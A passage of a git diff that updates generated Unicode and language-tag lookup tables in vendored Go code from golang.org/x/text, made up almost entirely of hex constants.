0x84}, + {value: 0x0013, lo: 0x86, hi: 0x86}, + {value: 0x0013, lo: 0x8a, hi: 0x90}, + {value: 0x0012, lo: 0x92, hi: 0xab}, + {value: 0x0013, lo: 0xac, hi: 0xbf}, + // Block 0x114, offset 0x5ad + {value: 0x0013, lo: 0x80, hi: 0x85}, + {value: 0x0012, lo: 0x86, hi: 0x9f}, + {value: 0x0013, lo: 0xa0, hi: 0xb9}, + {value: 0x0012, lo: 0xba, hi: 0xbf}, + // Block 0x115, offset 0x5b1 + {value: 0x0012, lo: 0x80, hi: 0x93}, + {value: 0x0013, lo: 0x94, hi: 0xad}, + {value: 0x0012, lo: 0xae, hi: 0xbf}, + // Block 0x116, offset 0x5b4 + {value: 0x0012, lo: 0x80, hi: 0x87}, + {value: 0x0013, lo: 0x88, hi: 0xa1}, + {value: 0x0012, lo: 0xa2, hi: 0xbb}, + {value: 0x0013, lo: 0xbc, hi: 0xbf}, + // Block 0x117, offset 0x5b8 + {value: 0x0013, lo: 0x80, hi: 0x95}, + {value: 0x0012, lo: 0x96, hi: 0xaf}, + {value: 0x0013, lo: 0xb0, hi: 0xbf}, + // Block 0x118, offset 0x5bb + {value: 0x0013, lo: 0x80, hi: 0x89}, + {value: 0x0012, lo: 0x8a, hi: 0xa5}, + {value: 0x0013, lo: 0xa8, hi: 0xbf}, + // Block 0x119, offset 0x5be + {value: 0x0013, lo: 0x80, hi: 0x80}, + {value: 0x0012, lo: 0x82, hi: 0x9a}, + {value: 0x0012, lo: 0x9c, hi: 0xa1}, + {value: 0x0013, lo: 0xa2, hi: 0xba}, + {value: 0x0012, lo: 0xbc, hi: 0xbf}, + // Block 0x11a, offset 0x5c3 + {value: 0x0012, lo: 0x80, hi: 0x94}, + {value: 0x0012, lo: 0x96, hi: 0x9b}, + {value: 0x0013, lo: 0x9c, hi: 0xb4}, + {value: 0x0012, lo: 0xb6, hi: 0xbf}, + // Block 0x11b, offset 0x5c7 + {value: 0x0012, lo: 0x80, hi: 0x8e}, + {value: 0x0012, lo: 0x90, hi: 0x95}, + {value: 0x0013, lo: 0x96, hi: 0xae}, + {value: 0x0012, lo: 0xb0, hi: 0xbf}, + // Block 0x11c, offset 0x5cb + {value: 0x0012, lo: 0x80, hi: 0x88}, + {value: 0x0012, lo: 0x8a, hi: 0x8f}, + {value: 0x0013, lo: 0x90, hi: 0xa8}, + {value: 0x0012, lo: 0xaa, hi: 0xbf}, + // Block 0x11d, offset 0x5cf + {value: 0x0012, lo: 0x80, hi: 0x82}, + {value: 0x0012, lo: 0x84, hi: 0x89}, + {value: 0x0017, lo: 0x8a, hi: 0x8b}, + {value: 0x0010, lo: 0x8e, hi: 0xbf}, + // Block 0x11e, offset 0x5d3 + {value: 0x0014, lo: 0x80, hi: 0xb6}, + {value: 0x0014, lo: 0xbb, hi: 0xbf}, + // Block 0x11f, offset 0x5d5 + {value: 0x0014, lo: 0x80, hi: 0xac}, + {value: 0x0014, lo: 0xb5, hi: 0xb5}, + // Block 0x120, offset 0x5d7 + {value: 0x0014, lo: 0x84, hi: 0x84}, + {value: 0x0014, lo: 0x9b, hi: 0x9f}, + {value: 0x0014, lo: 0xa1, hi: 0xaf}, + // Block 0x121, offset 0x5da + {value: 0x0012, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x8a, hi: 0x8a}, + {value: 0x0012, lo: 0x8b, hi: 0x9e}, + {value: 0x0012, lo: 0xa5, hi: 0xaa}, + // Block 0x122, offset 0x5de + {value: 0x0024, lo: 0x80, hi: 0x86}, + {value: 0x0024, lo: 0x88, hi: 0x98}, + {value: 0x0024, lo: 0x9b, hi: 0xa1}, + {value: 0x0024, lo: 0xa3, hi: 0xa4}, + {value: 0x0024, lo: 0xa6, hi: 0xaa}, + {value: 0x0015, lo: 0xb0, hi: 0xbf}, + // Block 0x123, offset 0x5e4 + {value: 0x0015, lo: 0x80, hi: 0xad}, + // Block 0x124, offset 0x5e5 + {value: 0x0024, lo: 0x8f, hi: 0x8f}, + // Block 0x125, offset 0x5e6 + {value: 0x0010, lo: 0x80, hi: 0xac}, + {value: 0x0024, lo: 0xb0, hi: 0xb6}, + {value: 0x0014, lo: 0xb7, hi: 0xbd}, + // Block 0x126, offset 0x5e9 + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x8e, hi: 0x8e}, + // Block 0x127, offset 0x5eb + {value: 0x0010, lo: 0x90, hi: 0xad}, + {value: 0x0024, lo: 0xae, hi: 0xae}, + // Block 0x128, offset 0x5ed + {value: 0x0010, lo: 0x80, hi: 0xab}, + {value: 0x0024, lo: 0xac, hi: 0xaf}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0x129, offset 0x5f0 + {value: 0x0010, lo: 0x90, hi: 0xaa}, + {value: 0x0014, lo: 0xab, hi: 0xab}, + {value: 0x0034, lo: 0xac, hi: 0xae}, + {value: 0x0024, lo: 0xaf, hi: 0xaf}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0x12a, offset 0x5f5 + {value: 0x0010, lo: 0xa0, hi: 0xa6}, + {value: 0x0010, lo: 0xa8, hi: 0xab}, + {value: 0x0010, lo: 0xad, hi: 0xae}, + {value: 0x0010, lo: 0xb0, hi: 0xbe}, + // Block 0x12b, offset 0x5f9 + {value: 0x0010, lo: 0x80, hi: 0x84}, + {value: 0x0034, lo: 0x90, hi: 0x96}, + // Block 0x12c, offset 0x5fb + {value: 0xd152, lo: 0x80, hi: 0x81}, + {value: 0xd452, lo: 0x82, hi: 0x83}, + {value: 0x0024, lo: 0x84, hi: 0x89}, + {value: 0x0034, lo: 0x8a, hi: 0x8a}, + {value: 0x0014, lo: 0x8b, hi: 0x8b}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0x12d, offset 0x601 + {value: 0x0010, lo: 0x80, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x9f}, + {value: 0x0010, lo: 0xa1, hi: 0xa2}, + {value: 0x0010, lo: 0xa4, hi: 0xa4}, + {value: 0x0010, lo: 0xa7, hi: 0xa7}, + {value: 0x0010, lo: 0xa9, hi: 0xb2}, + {value: 0x0010, lo: 0xb4, hi: 0xb7}, + {value: 0x0010, lo: 0xb9, hi: 0xb9}, + {value: 0x0010, lo: 0xbb, hi: 0xbb}, + // Block 0x12e, offset 0x60a + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x8b, hi: 0x9b}, + {value: 0x0010, lo: 0xa1, hi: 0xa3}, + {value: 0x0010, lo: 0xa5, hi: 0xa9}, + {value: 0x0010, lo: 0xab, hi: 0xbb}, + // Block 0x12f, offset 0x60f + {value: 0x0013, lo: 0xb0, hi: 0xbf}, + // Block 0x130, offset 0x610 + {value: 0x0013, lo: 0x80, hi: 0x89}, + {value: 0x0013, lo: 0x90, hi: 0xa9}, + {value: 0x0013, lo: 0xb0, hi: 0xbf}, + // Block 0x131, offset 0x613 + {value: 0x0013, lo: 0x80, hi: 0x89}, + // Block 0x132, offset 0x614 + {value: 0x0014, lo: 0xbb, hi: 0xbf}, + // Block 0x133, offset 0x615 + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0x134, offset 0x616 + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0014, lo: 0xa0, hi: 0xbf}, + // Block 0x135, offset 0x618 + {value: 0x0014, lo: 0x80, hi: 0xbf}, + // Block 0x136, offset 0x619 + {value: 0x0014, lo: 0x80, hi: 0xaf}, +} + +// Total table size 16093 bytes (15KiB); checksum: EE91C452 diff --git a/vendor/golang.org/x/text/internal/language/compact/tables.go b/vendor/golang.org/x/text/internal/language/compact/tables.go index 32af9de599..a09ed198a5 100644 --- a/vendor/golang.org/x/text/internal/language/compact/tables.go +++ b/vendor/golang.org/x/text/internal/language/compact/tables.go @@ -790,226 +790,226 @@ const ( var coreTags = []language.CompactCoreInfo{ // 773 elements // Entry 0 - 1F - 0x00000000, 0x01600000, 0x016000d2, 0x01600161, - 0x01c00000, 0x01c00052, 0x02100000, 0x02100080, - 0x02700000, 0x0270006f, 0x03a00000, 0x03a00001, - 0x03a00023, 0x03a00039, 0x03a00062, 0x03a00067, - 0x03a0006b, 0x03a0006c, 0x03a0006d, 0x03a00097, - 0x03a0009b, 0x03a000a1, 0x03a000a8, 0x03a000ac, - 0x03a000b0, 0x03a000b9, 0x03a000ba, 0x03a000c9, - 0x03a000e1, 0x03a000ed, 0x03a000f3, 0x03a00108, + 0x00000000, 0x01600000, 0x016000d3, 0x01600162, + 0x01c00000, 0x01c00052, 0x02100000, 0x02100081, + 0x02700000, 0x02700070, 0x03a00000, 0x03a00001, + 0x03a00023, 0x03a00039, 0x03a00063, 0x03a00068, + 0x03a0006c, 0x03a0006d, 0x03a0006e, 0x03a00098, + 0x03a0009c, 0x03a000a2, 0x03a000a9, 0x03a000ad, + 0x03a000b1, 0x03a000ba, 0x03a000bb, 0x03a000ca, + 0x03a000e2, 0x03a000ee, 0x03a000f4, 0x03a00109, // Entry 20 - 3F - 0x03a0010b, 0x03a00115, 0x03a00117, 0x03a0011c, - 0x03a00120, 0x03a00128, 0x03a0015e, 0x04000000, - 0x04300000, 0x04300099, 0x04400000, 0x0440012f, - 0x04800000, 0x0480006e, 0x05800000, 0x05820000, - 0x05820032, 0x0585a000, 0x0585a032, 0x05e00000, + 0x03a0010c, 0x03a00116, 0x03a00118, 0x03a0011d, + 0x03a00121, 0x03a00129, 0x03a0015f, 0x04000000, + 0x04300000, 0x0430009a, 0x04400000, 0x04400130, + 0x04800000, 0x0480006f, 0x05800000, 0x05820000, + 0x05820032, 0x0585b000, 0x0585b032, 0x05e00000, 0x05e00052, 0x07100000, 0x07100047, 0x07500000, - 0x07500162, 0x07900000, 0x0790012f, 0x07e00000, - 0x07e00038, 0x08200000, 0x0a000000, 0x0a0000c3, + 0x07500163, 0x07900000, 0x07900130, 0x07e00000, + 0x07e00038, 0x08200000, 0x0a000000, 0x0a0000c4, // Entry 40 - 5F - 0x0a500000, 0x0a500035, 0x0a500099, 0x0a900000, - 0x0a900053, 0x0a900099, 0x0b200000, 0x0b200078, - 0x0b500000, 0x0b500099, 0x0b700000, 0x0b720000, - 0x0b720033, 0x0b75a000, 0x0b75a033, 0x0d700000, - 0x0d700022, 0x0d70006e, 0x0d700078, 0x0d70009e, - 0x0db00000, 0x0db00035, 0x0db00099, 0x0dc00000, - 0x0dc00106, 0x0df00000, 0x0df00131, 0x0e500000, - 0x0e500135, 0x0e900000, 0x0e90009b, 0x0e90009c, + 0x0a500000, 0x0a500035, 0x0a50009a, 0x0a900000, + 0x0a900053, 0x0a90009a, 0x0b200000, 0x0b200079, + 0x0b500000, 0x0b50009a, 0x0b700000, 0x0b720000, + 0x0b720033, 0x0b75b000, 0x0b75b033, 0x0d700000, + 0x0d700022, 0x0d70006f, 0x0d700079, 0x0d70009f, + 0x0db00000, 0x0db00035, 0x0db0009a, 0x0dc00000, + 0x0dc00107, 0x0df00000, 0x0df00132, 0x0e500000, + 0x0e500136, 0x0e900000, 0x0e90009c, 0x0e90009d, // Entry 60 - 7F - 0x0fa00000, 0x0fa0005e, 0x0fe00000, 0x0fe00106, - 0x10000000, 0x1000007b, 0x10100000, 0x10100063, - 0x10100082, 0x10800000, 0x108000a4, 0x10d00000, - 0x10d0002e, 0x10d00036, 0x10d0004e, 0x10d00060, - 0x10d0009e, 0x10d000b2, 0x10d000b7, 0x11700000, - 0x117000d4, 0x11f00000, 0x11f00060, 0x12400000, - 0x12400052, 0x12800000, 0x12b00000, 0x12b00114, - 0x12d00000, 0x12d00043, 0x12f00000, 0x12f000a4, + 0x0fa00000, 0x0fa0005f, 0x0fe00000, 0x0fe00107, + 0x10000000, 0x1000007c, 0x10100000, 0x10100064, + 0x10100083, 0x10800000, 0x108000a5, 0x10d00000, + 0x10d0002e, 0x10d00036, 0x10d0004e, 0x10d00061, + 0x10d0009f, 0x10d000b3, 0x10d000b8, 0x11700000, + 0x117000d5, 0x11f00000, 0x11f00061, 0x12400000, + 0x12400052, 0x12800000, 0x12b00000, 0x12b00115, + 0x12d00000, 0x12d00043, 0x12f00000, 0x12f000a5, // Entry 80 - 9F - 0x13000000, 0x13000080, 0x13000122, 0x13600000, - 0x1360005d, 0x13600087, 0x13900000, 0x13900001, + 0x13000000, 0x13000081, 0x13000123, 0x13600000, + 0x1360005e, 0x13600088, 0x13900000, 0x13900001, 0x1390001a, 0x13900025, 0x13900026, 0x1390002d, 0x1390002e, 0x1390002f, 0x13900034, 0x13900036, 0x1390003a, 0x1390003d, 0x13900042, 0x13900046, 0x13900048, 0x13900049, 0x1390004a, 0x1390004e, - 0x13900050, 0x13900052, 0x1390005c, 0x1390005d, - 0x13900060, 0x13900061, 0x13900063, 0x13900064, + 0x13900050, 0x13900052, 0x1390005d, 0x1390005e, + 0x13900061, 0x13900062, 0x13900064, 0x13900065, // Entry A0 - BF - 0x1390006d, 0x13900072, 0x13900073, 0x13900074, - 0x13900075, 0x1390007b, 0x1390007c, 0x1390007f, - 0x13900080, 0x13900081, 0x13900083, 0x1390008a, - 0x1390008c, 0x1390008d, 0x13900096, 0x13900097, - 0x13900098, 0x13900099, 0x1390009a, 0x1390009f, - 0x139000a0, 0x139000a4, 0x139000a7, 0x139000a9, - 0x139000ad, 0x139000b1, 0x139000b4, 0x139000b5, - 0x139000bf, 0x139000c0, 0x139000c6, 0x139000c7, + 0x1390006e, 0x13900073, 0x13900074, 0x13900075, + 0x13900076, 0x1390007c, 0x1390007d, 0x13900080, + 0x13900081, 0x13900082, 0x13900084, 0x1390008b, + 0x1390008d, 0x1390008e, 0x13900097, 0x13900098, + 0x13900099, 0x1390009a, 0x1390009b, 0x139000a0, + 0x139000a1, 0x139000a5, 0x139000a8, 0x139000aa, + 0x139000ae, 0x139000b2, 0x139000b5, 0x139000b6, + 0x139000c0, 0x139000c1, 0x139000c7, 0x139000c8, // Entry C0 - DF - 0x139000ca, 0x139000cb, 0x139000cc, 0x139000ce, - 0x139000d0, 0x139000d2, 0x139000d5, 0x139000d6, - 0x139000d9, 0x139000dd, 0x139000df, 0x139000e0, - 0x139000e6, 0x139000e7, 0x139000e8, 0x139000eb, - 0x139000ec, 0x139000f0, 0x13900107, 0x13900109, - 0x1390010a, 0x1390010b, 0x1390010c, 0x1390010d, - 0x1390010e, 0x1390010f, 0x13900112, 0x13900117, - 0x1390011b, 0x1390011d, 0x1390011f, 0x13900125, + 0x139000cb, 0x139000cc, 0x139000cd, 0x139000cf, + 0x139000d1, 0x139000d3, 0x139000d6, 0x139000d7, + 0x139000da, 0x139000de, 0x139000e0, 0x139000e1, + 0x139000e7, 0x139000e8, 0x139000e9, 0x139000ec, + 0x139000ed, 0x139000f1, 0x13900108, 0x1390010a, + 0x1390010b, 0x1390010c, 0x1390010d, 0x1390010e, + 0x1390010f, 0x13900110, 0x13900113, 0x13900118, + 0x1390011c, 0x1390011e, 0x13900120, 0x13900126, // Entry E0 - FF - 0x13900129, 0x1390012c, 0x1390012d, 0x1390012f, - 0x13900131, 0x13900133, 0x13900135, 0x13900139, - 0x1390013c, 0x1390013d, 0x1390013f, 0x13900142, - 0x13900161, 0x13900162, 0x13900164, 0x13c00000, + 0x1390012a, 0x1390012d, 0x1390012e, 0x13900130, + 0x13900132, 0x13900134, 0x13900136, 0x1390013a, + 0x1390013d, 0x1390013e, 0x13900140, 0x13900143, + 0x13900162, 0x13900163, 0x13900165, 0x13c00000, 0x13c00001, 0x13e00000, 0x13e0001f, 0x13e0002c, 0x13e0003f, 0x13e00041, 0x13e00048, 0x13e00051, - 0x13e00054, 0x13e00056, 0x13e00059, 0x13e00065, - 0x13e00068, 0x13e00069, 0x13e0006e, 0x13e00086, + 0x13e00054, 0x13e00057, 0x13e0005a, 0x13e00066, + 0x13e00069, 0x13e0006a, 0x13e0006f, 0x13e00087, // Entry 100 - 11F - 0x13e00089, 0x13e0008f, 0x13e00094, 0x13e000cf, - 0x13e000d8, 0x13e000e2, 0x13e000e4, 0x13e000e7, - 0x13e000ec, 0x13e000f1, 0x13e0011a, 0x13e00135, - 0x13e00136, 0x13e0013b, 0x14000000, 0x1400006a, - 0x14500000, 0x1450006e, 0x14600000, 0x14600052, - 0x14800000, 0x14800024, 0x1480009c, 0x14e00000, - 0x14e00052, 0x14e00084, 0x14e000c9, 0x14e00114, - 0x15100000, 0x15100072, 0x15300000, 0x153000e7, + 0x13e0008a, 0x13e00090, 0x13e00095, 0x13e000d0, + 0x13e000d9, 0x13e000e3, 0x13e000e5, 0x13e000e8, + 0x13e000ed, 0x13e000f2, 0x13e0011b, 0x13e00136, + 0x13e00137, 0x13e0013c, 0x14000000, 0x1400006b, + 0x14500000, 0x1450006f, 0x14600000, 0x14600052, + 0x14800000, 0x14800024, 0x1480009d, 0x14e00000, + 0x14e00052, 0x14e00085, 0x14e000ca, 0x14e00115, + 0x15100000, 0x15100073, 0x15300000, 0x153000e8, // Entry 120 - 13F - 0x15800000, 0x15800063, 0x15800076, 0x15e00000, + 0x15800000, 0x15800064, 0x15800077, 0x15e00000, 0x15e00036, 0x15e00037, 0x15e0003a, 0x15e0003b, 0x15e0003c, 0x15e00049, 0x15e0004b, 0x15e0004c, 0x15e0004d, 0x15e0004e, 0x15e0004f, 0x15e00052, - 0x15e00062, 0x15e00067, 0x15e00078, 0x15e0007a, - 0x15e0007e, 0x15e00084, 0x15e00085, 0x15e00086, - 0x15e00091, 0x15e000a8, 0x15e000b7, 0x15e000ba, - 0x15e000bb, 0x15e000be, 0x15e000bf, 0x15e000c3, + 0x15e00063, 0x15e00068, 0x15e00079, 0x15e0007b, + 0x15e0007f, 0x15e00085, 0x15e00086, 0x15e00087, + 0x15e00092, 0x15e000a9, 0x15e000b8, 0x15e000bb, + 0x15e000bc, 0x15e000bf, 0x15e000c0, 0x15e000c4, // Entry 140 - 15F - 0x15e000c8, 0x15e000c9, 0x15e000cc, 0x15e000d3, - 0x15e000d4, 0x15e000e5, 0x15e000ea, 0x15e00102, - 0x15e00107, 0x15e0010a, 0x15e00114, 0x15e0011c, - 0x15e00120, 0x15e00122, 0x15e00128, 0x15e0013f, - 0x15e00140, 0x15e0015f, 0x16900000, 0x1690009e, - 0x16d00000, 0x16d000d9, 0x16e00000, 0x16e00096, - 0x17e00000, 0x17e0007b, 0x19000000, 0x1900006e, - 0x1a300000, 0x1a30004e, 0x1a300078, 0x1a3000b2, + 0x15e000c9, 0x15e000ca, 0x15e000cd, 0x15e000d4, + 0x15e000d5, 0x15e000e6, 0x15e000eb, 0x15e00103, + 0x15e00108, 0x15e0010b, 0x15e00115, 0x15e0011d, + 0x15e00121, 0x15e00123, 0x15e00129, 0x15e00140, + 0x15e00141, 0x15e00160, 0x16900000, 0x1690009f, + 0x16d00000, 0x16d000da, 0x16e00000, 0x16e00097, + 0x17e00000, 0x17e0007c, 0x19000000, 0x1900006f, + 0x1a300000, 0x1a30004e, 0x1a300079, 0x1a3000b3, // Entry 160 - 17F - 0x1a400000, 0x1a400099, 0x1a900000, 0x1ab00000, - 0x1ab000a4, 0x1ac00000, 0x1ac00098, 0x1b400000, - 0x1b400080, 0x1b4000d4, 0x1b4000d6, 0x1b800000, - 0x1b800135, 0x1bc00000, 0x1bc00097, 0x1be00000, - 0x1be00099, 0x1d100000, 0x1d100033, 0x1d100090, - 0x1d200000, 0x1d200060, 0x1d500000, 0x1d500092, - 0x1d700000, 0x1d700028, 0x1e100000, 0x1e100095, - 0x1e700000, 0x1e7000d6, 0x1ea00000, 0x1ea00053, + 0x1a400000, 0x1a40009a, 0x1a900000, 0x1ab00000, + 0x1ab000a5, 0x1ac00000, 0x1ac00099, 0x1b400000, + 0x1b400081, 0x1b4000d5, 0x1b4000d7, 0x1b800000, + 0x1b800136, 0x1bc00000, 0x1bc00098, 0x1be00000, + 0x1be0009a, 0x1d100000, 0x1d100033, 0x1d100091, + 0x1d200000, 0x1d200061, 0x1d500000, 0x1d500093, + 0x1d700000, 0x1d700028, 0x1e100000, 0x1e100096, + 0x1e700000, 0x1e7000d7, 0x1ea00000, 0x1ea00053, // Entry 180 - 19F - 0x1f300000, 0x1f500000, 0x1f800000, 0x1f80009d, - 0x1f900000, 0x1f90004e, 0x1f90009e, 0x1f900113, - 0x1f900138, 0x1fa00000, 0x1fb00000, 0x20000000, - 0x200000a2, 0x20300000, 0x20700000, 0x20700052, - 0x20800000, 0x20a00000, 0x20a0012f, 0x20e00000, - 0x20f00000, 0x21000000, 0x2100007d, 0x21200000, - 0x21200067, 0x21600000, 0x21700000, 0x217000a4, - 0x21f00000, 0x22300000, 0x2230012f, 0x22700000, + 0x1f300000, 0x1f500000, 0x1f800000, 0x1f80009e, + 0x1f900000, 0x1f90004e, 0x1f90009f, 0x1f900114, + 0x1f900139, 0x1fa00000, 0x1fb00000, 0x20000000, + 0x200000a3, 0x20300000, 0x20700000, 0x20700052, + 0x20800000, 0x20a00000, 0x20a00130, 0x20e00000, + 0x20f00000, 0x21000000, 0x2100007e, 0x21200000, + 0x21200068, 0x21600000, 0x21700000, 0x217000a5, + 0x21f00000, 0x22300000, 0x22300130, 0x22700000, // Entry 1A0 - 1BF - 0x2270005a, 0x23400000, 0x234000c3, 0x23900000, - 0x239000a4, 0x24200000, 0x242000ae, 0x24400000, - 0x24400052, 0x24500000, 0x24500082, 0x24600000, - 0x246000a4, 0x24a00000, 0x24a000a6, 0x25100000, - 0x25100099, 0x25400000, 0x254000aa, 0x254000ab, - 0x25600000, 0x25600099, 0x26a00000, 0x26a00099, - 0x26b00000, 0x26b0012f, 0x26d00000, 0x26d00052, - 0x26e00000, 0x26e00060, 0x27400000, 0x28100000, + 0x2270005b, 0x23400000, 0x234000c4, 0x23900000, + 0x239000a5, 0x24200000, 0x242000af, 0x24400000, + 0x24400052, 0x24500000, 0x24500083, 0x24600000, + 0x246000a5, 0x24a00000, 0x24a000a7, 0x25100000, + 0x2510009a, 0x25400000, 0x254000ab, 0x254000ac, + 0x25600000, 0x2560009a, 0x26a00000, 0x26a0009a, + 0x26b00000, 0x26b00130, 0x26d00000, 0x26d00052, + 0x26e00000, 0x26e00061, 0x27400000, 0x28100000, // Entry 1C0 - 1DF - 0x2810007b, 0x28a00000, 0x28a000a5, 0x29100000, - 0x2910012f, 0x29500000, 0x295000b7, 0x2a300000, - 0x2a300131, 0x2af00000, 0x2af00135, 0x2b500000, + 0x2810007c, 0x28a00000, 0x28a000a6, 0x29100000, + 0x29100130, 0x29500000, 0x295000b8, 0x2a300000, + 0x2a300132, 0x2af00000, 0x2af00136, 0x2b500000, 0x2b50002a, 0x2b50004b, 0x2b50004c, 0x2b50004d, - 0x2b800000, 0x2b8000af, 0x2bf00000, 0x2bf0009b, - 0x2bf0009c, 0x2c000000, 0x2c0000b6, 0x2c200000, - 0x2c20004b, 0x2c400000, 0x2c4000a4, 0x2c500000, - 0x2c5000a4, 0x2c700000, 0x2c7000b8, 0x2d100000, + 0x2b800000, 0x2b8000b0, 0x2bf00000, 0x2bf0009c, + 0x2bf0009d, 0x2c000000, 0x2c0000b7, 0x2c200000, + 0x2c20004b, 0x2c400000, 0x2c4000a5, 0x2c500000, + 0x2c5000a5, 0x2c700000, 0x2c7000b9, 0x2d100000, // Entry 1E0 - 1FF - 0x2d1000a4, 0x2d10012f, 0x2e900000, 0x2e9000a4, - 0x2ed00000, 0x2ed000cc, 0x2f100000, 0x2f1000bf, - 0x2f200000, 0x2f2000d1, 0x2f400000, 0x2f400052, - 0x2ff00000, 0x2ff000c2, 0x30400000, 0x30400099, - 0x30b00000, 0x30b000c5, 0x31000000, 0x31b00000, - 0x31b00099, 0x31f00000, 0x31f0003e, 0x31f000d0, - 0x31f0010d, 0x32000000, 0x320000cb, 0x32500000, - 0x32500052, 0x33100000, 0x331000c4, 0x33a00000, + 0x2d1000a5, 0x2d100130, 0x2e900000, 0x2e9000a5, + 0x2ed00000, 0x2ed000cd, 0x2f100000, 0x2f1000c0, + 0x2f200000, 0x2f2000d2, 0x2f400000, 0x2f400052, + 0x2ff00000, 0x2ff000c3, 0x30400000, 0x3040009a, + 0x30b00000, 0x30b000c6, 0x31000000, 0x31b00000, + 0x31b0009a, 0x31f00000, 0x31f0003e, 0x31f000d1, + 0x31f0010e, 0x32000000, 0x320000cc, 0x32500000, + 0x32500052, 0x33100000, 0x331000c5, 0x33a00000, // Entry 200 - 21F - 0x33a0009c, 0x34100000, 0x34500000, 0x345000d2, - 0x34700000, 0x347000da, 0x34700110, 0x34e00000, - 0x34e00164, 0x35000000, 0x35000060, 0x350000d9, - 0x35100000, 0x35100099, 0x351000db, 0x36700000, - 0x36700030, 0x36700036, 0x36700040, 0x3670005b, - 0x367000d9, 0x36700116, 0x3670011b, 0x36800000, - 0x36800052, 0x36a00000, 0x36a000da, 0x36c00000, + 0x33a0009d, 0x34100000, 0x34500000, 0x345000d3, + 0x34700000, 0x347000db, 0x34700111, 0x34e00000, + 0x34e00165, 0x35000000, 0x35000061, 0x350000da, + 0x35100000, 0x3510009a, 0x351000dc, 0x36700000, + 0x36700030, 0x36700036, 0x36700040, 0x3670005c, + 0x367000da, 0x36700117, 0x3670011c, 0x36800000, + 0x36800052, 0x36a00000, 0x36a000db, 0x36c00000, 0x36c00052, 0x36f00000, 0x37500000, 0x37600000, // Entry 220 - 23F - 0x37a00000, 0x38000000, 0x38000117, 0x38700000, - 0x38900000, 0x38900131, 0x39000000, 0x3900006f, - 0x390000a4, 0x39500000, 0x39500099, 0x39800000, - 0x3980007d, 0x39800106, 0x39d00000, 0x39d05000, - 0x39d050e8, 0x39d36000, 0x39d36099, 0x3a100000, - 0x3b300000, 0x3b3000e9, 0x3bd00000, 0x3bd00001, + 0x37a00000, 0x38000000, 0x38000118, 0x38700000, + 0x38900000, 0x38900132, 0x39000000, 0x39000070, + 0x390000a5, 0x39500000, 0x3950009a, 0x39800000, + 0x3980007e, 0x39800107, 0x39d00000, 0x39d05000, + 0x39d050e9, 0x39d36000, 0x39d3609a, 0x3a100000, + 0x3b300000, 0x3b3000ea, 0x3bd00000, 0x3bd00001, 0x3be00000, 0x3be00024, 0x3c000000, 0x3c00002a, - 0x3c000041, 0x3c00004e, 0x3c00005a, 0x3c000086, + 0x3c000041, 0x3c00004e, 0x3c00005b, 0x3c000087, // Entry 240 - 25F - 0x3c00008b, 0x3c0000b7, 0x3c0000c6, 0x3c0000d1, - 0x3c0000ee, 0x3c000118, 0x3c000126, 0x3c400000, - 0x3c40003f, 0x3c400069, 0x3c4000e4, 0x3d400000, + 0x3c00008c, 0x3c0000b8, 0x3c0000c7, 0x3c0000d2, + 0x3c0000ef, 0x3c000119, 0x3c000127, 0x3c400000, + 0x3c40003f, 0x3c40006a, 0x3c4000e5, 0x3d400000, 0x3d40004e, 0x3d900000, 0x3d90003a, 0x3dc00000, - 0x3dc000bc, 0x3dc00104, 0x3de00000, 0x3de0012f, - 0x3e200000, 0x3e200047, 0x3e2000a5, 0x3e2000ae, - 0x3e2000bc, 0x3e200106, 0x3e200130, 0x3e500000, - 0x3e500107, 0x3e600000, 0x3e60012f, 0x3eb00000, + 0x3dc000bd, 0x3dc00105, 0x3de00000, 0x3de00130, + 0x3e200000, 0x3e200047, 0x3e2000a6, 0x3e2000af, + 0x3e2000bd, 0x3e200107, 0x3e200131, 0x3e500000, + 0x3e500108, 0x3e600000, 0x3e600130, 0x3eb00000, // Entry 260 - 27F - 0x3eb00106, 0x3ec00000, 0x3ec000a4, 0x3f300000, - 0x3f30012f, 0x3fa00000, 0x3fa000e8, 0x3fc00000, - 0x3fd00000, 0x3fd00072, 0x3fd000da, 0x3fd0010c, - 0x3ff00000, 0x3ff000d1, 0x40100000, 0x401000c3, + 0x3eb00107, 0x3ec00000, 0x3ec000a5, 0x3f300000, + 0x3f300130, 0x3fa00000, 0x3fa000e9, 0x3fc00000, + 0x3fd00000, 0x3fd00073, 0x3fd000db, 0x3fd0010d, + 0x3ff00000, 0x3ff000d2, 0x40100000, 0x401000c4, 0x40200000, 0x4020004c, 0x40700000, 0x40800000, - 0x4085a000, 0x4085a0ba, 0x408e8000, 0x408e80ba, - 0x40c00000, 0x40c000b3, 0x41200000, 0x41200111, - 0x41600000, 0x4160010f, 0x41c00000, 0x41d00000, + 0x4085b000, 0x4085b0bb, 0x408eb000, 0x408eb0bb, + 0x40c00000, 0x40c000b4, 0x41200000, 0x41200112, + 0x41600000, 0x41600110, 0x41c00000, 0x41d00000, // Entry 280 - 29F - 0x41e00000, 0x41f00000, 0x41f00072, 0x42200000, - 0x42300000, 0x42300164, 0x42900000, 0x42900062, - 0x4290006f, 0x429000a4, 0x42900115, 0x43100000, - 0x43100027, 0x431000c2, 0x4310014d, 0x43200000, - 0x43220000, 0x43220033, 0x432200bd, 0x43220105, - 0x4322014d, 0x4325a000, 0x4325a033, 0x4325a0bd, - 0x4325a105, 0x4325a14d, 0x43700000, 0x43a00000, - 0x43b00000, 0x44400000, 0x44400031, 0x44400072, + 0x41e00000, 0x41f00000, 0x41f00073, 0x42200000, + 0x42300000, 0x42300165, 0x42900000, 0x42900063, + 0x42900070, 0x429000a5, 0x42900116, 0x43100000, + 0x43100027, 0x431000c3, 0x4310014e, 0x43200000, + 0x43220000, 0x43220033, 0x432200be, 0x43220106, + 0x4322014e, 0x4325b000, 0x4325b033, 0x4325b0be, + 0x4325b106, 0x4325b14e, 0x43700000, 0x43a00000, + 0x43b00000, 0x44400000, 0x44400031, 0x44400073, // Entry 2A0 - 2BF - 0x4440010c, 0x44500000, 0x4450004b, 0x445000a4, - 0x4450012f, 0x44500131, 0x44e00000, 0x45000000, - 0x45000099, 0x450000b3, 0x450000d0, 0x4500010d, - 0x46100000, 0x46100099, 